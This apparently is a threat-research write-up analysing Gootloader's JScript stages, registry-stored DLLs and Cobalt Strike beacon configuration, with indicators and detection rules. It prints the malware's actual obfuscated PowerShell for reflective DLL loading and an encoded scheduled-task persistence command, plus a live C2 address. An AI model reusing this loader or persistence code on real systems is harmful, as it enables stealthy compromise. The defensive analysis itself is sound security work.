Analyzing the first-stage JScript The first stage of Gootloader on the endpoint is a JScript file extracted from a ZIP file and intended to execute via wscript.exe. While these JScript files have been a common Gootloader entry point over the last year, the scripts changed in recent months to masquerade as legitimate jQuery library files. To achieve this masquerade, the adversary creates scripts by mixing malicious Gootloader code with benign jQuery library code, producing a file around 296KB in size. Figure 2: First stage of Gootloader (VT Link) Gootloader and Cobalt Strike malware analysis THE GOOT CAUSE https://www.virustotal.com/gui/file/ab415370f0033fbddc4ff5fe7de318e6df15b902714b69fbc235db6da41a2348 You can clean up the initial script into a deobfuscated script using a tool published by HP’s Threat Research team. Once the script is decoded, you can see the domains contacted by the script to retrieve the next stage. If you have endpoint technologies that use AMSI telemetry, you can also spot the decoded script at runtime, like in the instance below. Figure 2: Decoded script at runtime This stage of Gootloader queries the value of the USERDNSDOMAIN environment variable. This is a simple check to determine whether the affected host is part of an Active Directory domain. This is why you won’t see a lot of sandbox reports with full Gootloader chains of execution, since the sandboxes don’t have infrastructure needed for Active Directory-joined hosts. This also means that the malware specifically targets business or enterprise victims that use Active Directory. On systems where the check passes, Gootloader pulls down an additional JScript stage that executes in the same wscript.exe process. Analyzing the second-stage JScript This stage of JScript contains two Windows DLL files that are encoded into string form. The first is encoded as a hex string that is further scrambled using substitution with a custom alphabet. The second is only encoded as a hex string. During execution, both of these strings are split into chunks and then written into the Windows Registry under the affected user’s HKEY_CURRENT_USER\SOFTWARE\ Microsoft\Phone key. The first DLL gets written within a key that bears the user’s name, and the second is written within a key that has the user’s name with a zero appended. Example: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone\bruce.wayne\1-9999 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone\bruce.wayne0\1-500 The persistent PowerShell code Once these payloads are distributed into registry keys, the script executes two PowerShell commands. The first retrieves the .NET DLL from the Windows Registry, reflectively loads it, and executes a function within the DLL named “Test()”. 614649211;sleep -s 83;$opj=Get-ItemProperty -path (“hk”+”cu:\sof”+”tw”+”are\mic”+”ros”+”oft\ Phone\”+[Environment]::(“use”+”rn”+”ame”)+”0”);for ($uo=0;$uo -le 760;$uo++) {Try{$mpd+=$opj.$uo}Catch{}};$uo=0;while($true){$uo++;$ko=[math]::(“sq”+”rt”)($uo);if($ko -eq 1000){break}}$yl=$mpd.replace(“#”,$ko);$kjb=[byte[]]::(“ne”+”w”)($yl.Length/2);for($uo=0;$uo -lt $yl.Length;$uo+=2){$kjb[$uo/2]=[convert]::(“ToB”+”yte”)($yl.Substring($uo,2),(2*8))} [reflection.assembly]::(“Lo”+”ad”)($kjb);[Open]::(“Te”+”st”)();611898544; Figure 3: First decoded PowerShell command https://github.com/hpthreatresearch/tools/blob/main/gootloader/decode.py https://redcanary.com/blog/amsi/ The second PowerShell command establishes persistence via a scheduled task using a combination of cmdlets. 6876813;$a=”NgAxADQANgA0ADkAMgAxADEAOwBzAGwAZQBlAHAAIAAtAHMAIAA4ADMAOwAkAG8AcABqAD0ARwBlAHQA LQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAi ACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIA KwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgAoACIAdQBzAGUAIgArACIAcgBuACIAKwAiAGEAbQBlACIAKQAr ACIAMAAiACkA OwBmAG8AcgAgACgAJAB1AG8APQAwADsAJAB1AG8AIAAtAGwAZQAgADcANgAwADsAJAB1AG8AKwArACkA ewBUAHIAeQB7ACQAbQBwAGQAKwA9ACQAbwBwAGoALgAkAHUAbwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAdQBvAD0AMAA7 AHcAaABpAGwAZQAoACQAdAByAHUAZQApAHsAJAB1AG8AKwArADsAJABrAG8APQBbAG0AYQB0AGgAXQA6ADoAKAAiAHMA cQAiACsAIgByAHQAIgApACgAJAB1AG8AKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBh AGsAfQB9ACQAeQBsAD0AJABtAHAAZAAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGsAagBiAD0A WwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJAB5AGwALgBMAGUAbgBnAHQAaAAvADIAKQA7 AGYAbwByACgAJAB1AG8APQAwADsAJAB1AG8AIAAtAGwAdAAgACQAeQBsAC4ATABlAG4AZwB0AGgAOwAkAHUAbwArAD0A MgApAHsAJABrAGoAYgBbACQAdQBvAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5 AHQAZQAiACkAKAAkAHkAbAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJAB1AG8ALAAyACkALAAoADIAKgA4ACkAKQB9AFsA cgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAk AGsAagBiACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMQAxADgAOQA4ADUA NAA0ADsA”;$u=$env:USERNAME;Register-ScheduledTask $u -In (New-ScheduledTask -Ac (New- ScheduledTaskAction -E ([Diagnostics.Process]::GetCurrentProcess().MainModule.FileName) -Ar (“-w h -e “+$a)) -Tr (New-ScheduledTaskTrigger -AtL -U $u));306878516; Figure 4: Second decoded PowerShell command At the next logon, the scheduled task executes, reflectively loading the .NET DLL module into memory and calling its “Test()” function. At this point, the endpoint telemetry shows the instance of PowerShell executing “Test()” establishing network connections but doesn’t show much more detail. To find details on the next stage, you have to dive deeper into the loaded .NET DLL. To do this, you can obtain the .NET DLL module from its location in the Windows Registry and decompile it using tools like ILSpy or DNSpy. Analyzing the .NET DLL component In the .NET DLL module, the adversary implements code to pull an encoded payload from HKEY_CURRENT_USER\ SOFTWARE\Microsoft\Phone\bruce.wayne\1-9999, decodes it into an executable DLL, and then executes its contents. The decoding part is fairly straightforward, as the DLL module reads the payload from the registry and uses text replacement operations to remove obfuscation and convert data into a hexadecimal string. Using ILSpy, we could decompile the DLL into its original source to examine. Figure 5: Text replacement operations Once the code gets converted to the hexadecimal string, it gets converted again into a byte array to become usable. This scheme affords the adversaries two layers of obfuscation to prevent security controls from detecting payloads stored in the Windows Registry. This type of obfuscation, though easy to remove during analysis, is enough to stump some tools. Figure 6: Byte array conversion Finally, the .NET DLL executes the byte array containing the beacon content. It does this using a lot of code borrowed from this open-source project: https://github.com/dretax/DynamicDllLoader. Figure 7: Byte array execution containing DLL load https://github.com/dretax/DynamicDllLoader The .NET code loads the decoded DLL into memory using LoadLibrary(), finds the DLL’s entry point using “GetProcAddress()”, and then executes it. After examining the DynamicDllLoader project code next to this Gootloader component, we realized that almost all the code outside the deobfuscation algorithm came directly from the DynamicDllLoader project. *Malware analyst’s note: If you want to try analysis on this sample at home, you can use DNSpy or ILSpy to check out this sample. Parsing the Cobalt Strike beacon configuration The final payload executes in the same PowerShell process loading the .NET DLL. In incidents across three different customer environments, we observed Cobalt Strike beacons deploying to victim systems, all communicating with the same command and control (C2) address. Pivoting on the C2IP address we observed in VirusTotal, we obtained a beacon DLL for analysis. Using SentinelOne’s CobaltStrikeParser tool, we found the beacon had this configuration: BeaconType - HTTPS Port - 443 SleepTime - 60000 MaxGetSize - 1048576 Jitter - 0 MaxDNS - Not Found PublicKey_MD5 - defb5d95ce99e1ebbf421a1a38d9cb64 C2Server - 146.70.78[.]43,/fwlink UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATM) HttpPostUri - /submit.php Malleable_C2_Instructions - Empty HttpGet_Metadata - Metadata base64 header “Cookie” HttpPost_Metadata - ConstHeaders Content-Type: application/octet-stream SessionId parameter “id” Output print PipeName - Not Found DNS_Idle - Not Found DNS_Sleep - Not Found SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner - HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%\syswow64\rundll32.exe Spawnto_x64 - %windir%\sysnative\rundll32.exe CryptoScheme - 0 Proxy_Config - Not Found Proxy_User - Not Found https://www.virustotal.com/gui/file/15645d983a3a31e1c3cfe651f2ce5613939f221b2ebeee2a1e2f1aa2ecf94c29 https://www.virustotal.com/gui/file/3d768691d5cb4ae8943d8e57ea83cac1 https://www.virustotal.com/gui/file/3d768691d5cb4ae8943d8e57ea83cac1 https://github.com/Sentinel-One/CobaltStrikeParser Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark_Hash - Not Found Watermark - 1580103824 bStageCleanup - False bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - True bProcInject_MinAllocSize - 0 ProcInject_PrependAppend_x86 - Empty ProcInject_PrependAppend_x64 - Empty ProcInject_Execute - CreateThread SetThreadContext CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True HostHeader - headersToRemove - Not Found DNS_Beaconing - Not Found DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - round-robin DNS_strategy_rotate_seconds - -1 DNS_strategy_fail_x - -1 DNS_strategy_fail_seconds - -1 Retry_Max_Attempts - Not Found Retry_Increase_Attempts - Not Found Retry_Duration - Not Found The beacon configuration presents an extra detection idea. The “spawnto” properties of the configuration specify rundll32.exe will execute from the beacon as a target to inject into. In this particular configuration, rundll32.exe won’t have command-line options. This makes it suspicious because rundll32.exe commands usually contain the name of a DLL file to execute. In this case, the beacon executes in a PowerShell process. The extra detection analytic would be powershell.exe spawning rundll32.exe with no command- line arguments. Indicators While the behavioral detection opportunities below provide the most durable method for detecting Gootloader and follow-on payloads, we are sharing select indicators from our analysis to assist others in their investigations. COBALT STRIKE SERVER 146.70.78[.]43 COBALT STRIKE BEACON 3d768691d5cb4ae8943d8e57ea83cac1 DYNAMICDLLLOADER .NET DLL 244f990d544f1791f0bca6eea140e5d6 SCRIPT STAGE 2 (WRITING BEACON TO REGISTRY) 26480fcc9cf3837629111995b4838137 GOOTLOADER C2 karbonaudit[.]cf GOOTLOADER C2 kakiosk.adsparkdev[.]com GOOTLOADER C2 junk-bros[.]com EXAMPLE GOOTLOADER SCRIPT NAME sample_gsa_contractor_teaming_agreement 85878.js GOOTLOADER SCRIPT 261fd5425a60b044c5f9a584473b2a10 Red Canary recommends detecting Gootloader activity to catch this threat early in the intrusion chain. See below for opportunities to identify Gootloader and possible follow-on activity in your environment. Detection opportunities WINDOWS SCRIPT HOST (wscript.exe) EXECUTING CONTENT FROM A USER’S APPDATA FOLDER This detection opportunity identifies the Windows Script Host, wscript.exe, executing a JS file from the user’s AppData folder. This works well to detect instances where a user has double- clicked into a Gootloader ZIP file and then double-clicked on the JS script to execute it. process == (wscript.exe) && process_command_line_includes == appdata\*.js POWERSH ELL (powershell.exe) PERFORMING A REFLECTIVE LOAD OF A .NET ASSEMBLY This detection opportunity identifies PowerShell loading a .NET assembly into memory for execution using the System.Reflection capabilities of the .NET Framework. This detects PowerShell loading the .NET component of Gootloader, as well as multiple additional threats in the wild. process == (powershell.exe) && process_command_line_includes == Reflection.Assembly AND Load AND byte[] RUNDLL32 (rundll32.exe) WITH NO COMMAND-LINE ARGUMENTS This detection opportunity identifies rundll32.exe executing with no command-line arguments as an injection target like we usually see for Cobalt Strike beacon injection. The beacon distributed by Gootloader in this instance used rundll32.exe, as do many other beacons found in the wild. process == rundll32.exe && command_line_includes (“”)* && has_network_connection || has_child_process *Note: “” indicates a blank command line.